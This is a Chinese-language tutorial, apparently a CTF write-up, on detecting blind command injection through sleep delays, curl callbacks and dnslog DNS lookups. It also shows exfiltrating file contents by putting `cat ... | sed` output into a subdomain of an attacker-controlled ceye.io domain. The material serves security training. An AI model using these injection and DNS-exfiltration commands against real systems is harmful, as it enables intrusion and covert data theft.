命令执行判断
命令执行可能会存在命令执行完没有回显,首先要判断命令是否有执行,可以通过三种方式来判断:延时、HTTP请求、DNS请求。
无延时无回显
有延时无回显
通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行。(”sleep 3”表示延时3秒)
公网机进行8000端口监听
目标机向公网机的8000端口发起http请求
公网机监听中的8000端口收到http请求
将”curl 公网机ip:端口号”命令拼接到地址中进行命令执行
公网机监听中的8000端口收到http请求说明命令执行成功
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)
例:大家可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录。
我这边得到的域名是wzrtbq.ceye.io,如果我去访问1111111. wzrtbq.ceye.io,那么就会记录下来这个域名解析请求。
访问1111111. wzrtbq.ceye.io
域名解析请求被记录
将访问域名拼接到地址中
域名解析请求被记录
1、直接写入或外部下载shell执行命令
例:通过命令执行直接得到文件内容
生成1.txt拷贝
访问1.txt
2、通过http请求/dns请求等方式带出数据
例:通过dnslog带出数据
读取where_is_flag.php:`cat where_is_flag.php`
替换读取文件中的空格:`cat where_is_flag.php|sed s/[[:space:]]//`
拼接域名:`cat where_is_flag.php|sed s/[[:space:]]//`.wzrtbq.ceye.io
利用dnslog
得到文件内容(即得到了flag文件地址)
获取flag文件内容
获取到flag